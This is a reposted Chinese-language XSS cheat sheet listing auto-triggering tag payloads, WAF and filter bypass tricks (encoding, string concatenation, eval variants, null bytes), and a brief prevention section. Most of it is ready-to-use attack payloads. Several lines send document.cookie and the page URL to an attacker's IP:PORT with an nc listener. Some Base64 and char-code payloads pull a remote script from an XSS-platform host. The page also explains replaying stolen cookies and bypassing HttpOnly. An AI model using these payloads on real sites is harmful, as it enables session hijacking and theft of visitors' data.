XSS一些總結


XSS一些總結

除了script以外大多標簽自動加載觸發JS代碼大多用的都是on事件,以下標簽都可以用下面的方法去打Cookie以及url等

常見標簽
<img><input><details><svg><select><iframe>
<video><audio><textarea>  <body><Style><Media>
such as: 其他的標簽自動觸發百度一下就好了
<body onpageshow=alert(1)>

Media 標簽是利用音視頻標簽來加載XSS Payload
測試了一下自動觸發事件的標簽
onloadstart: 在瀏覽器開始尋找指定音視頻(audio/video)時觸發;

<audio onloadstart=alert(1) src="x.mp3" />

反射內容
-alert(1)-  -prompt(1)- -confirm(1)-

javascript偽協議
<iframe src=javascript:alert('xss');></iframe>

利用link遠程包含js文件
PS:在無CSP的情況下才可以
<link rel=import href="http://127.0.0.1/1.js">

常見的繞過技巧

1、用/代替空格
<img/src="x"/onerror=alert("xss");>
2、大小寫繞過
3、雙寫關鍵字
4、字符拼接
利用eval:
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top:
<img src="x" onerror=top["al"+"ert"](`xss`);>
    
5、編碼繞過
------------------
Base64編碼
------------------
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy9uR1JTIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>

<iframe src="data:text/html;base64,PHNDUmlQdC9TckM9Ly94c3M4LmNjL25HUlM+">
------------------
ASCII編碼
------------------
<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,120,115,115,56,46,99,99,47,110,71,82,83,62,60,47,115,67,114,73,112,84,62))">

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
-------------------
空字節【未成功過,自測】
-------------------
最長用來繞過mod_security防火牆,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字節只適用於PHP 5.3.8以上的版本
-------------------
Unicode編碼繞過
-------------------
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
-------------------

常見字符過濾

*過濾<script>利用拼接然后繼續使用XSS平台【雙寫,編碼自己自己嘗試】
<img src=x onerror=s=createElement('scr'+'ipt');body.appendChild(s);s.src='//xss8.cc/nGRS';>

*過濾單雙引號
如果是html標簽中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號
<img src="x" onerror=alert(`xss`);>
    
*過濾括號
當括號被過濾的時候可以使用throw來繞過
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
    
*過濾url地址
使用URL編碼、十進制IP、八進制IP、hex、html標簽中用//可以代替http://、使用\\
使用中文逗號代替英文逗號

其他的Payload
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;

Eval & 其它冗余符號
<img src="x" onerror=eval()>
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
var x = eval; x(‘alert(1)’)
(1, eval)('alert(1)') 
eval.call(null, 'alert(1)')

SVG黑魔法 IMG標簽 等其他同理

nc -lvvp 1234
<svg/onload="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">

<img src=1 onerror="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">
獲取當前域名URL:
window.location.href
document.location
document.URL

image-20210519080602555

圖片探測路徑

只要對方網站可以調用外部圖片(或可自定義HTML)。你就可以拿到對方當前的后台、瀏覽器、IP地址之類的信息【有些網站做了meta referer設置,referer就抓不到了】
搜索圖片XSS即可,XSS平台是有這種的。原理就是圖片嵌入了前端的一些代碼。

例如:<img src="http://IP/test.php"/>
然后再PHP里面寫入獲取HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT
即可達到目的

console設置Cookie

var cookiestr="你的打到的cookie內容";var arr = cookiestr.split(";");
for(var i in arr){document.cookie=arr[i];}

前端釣魚

https://www.cnblogs.com/-qing-/p/10871625.html

apache httponly bypass

利用apache server head limit 8192字節限制, 從400狀態頁爆出httponly保護的cookie

預防XSS

CSP策略:https://www.zhihu.com/question/21979782
PHP的函數:htmlspecialchars、htmlentities

​ htmlspecialchars默認配置是不過濾單引號的。只有設置了:quotestyle 選項為ENT_QUOTES才會過濾單引號,所以咋只要'onmouseover='alert(document.domain)這樣既可繞過,根據實際情況來吧。

參考:https://xz.aliyun.com/t/4067
https://www.cnblogs.com/-qing-/p/10872564.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM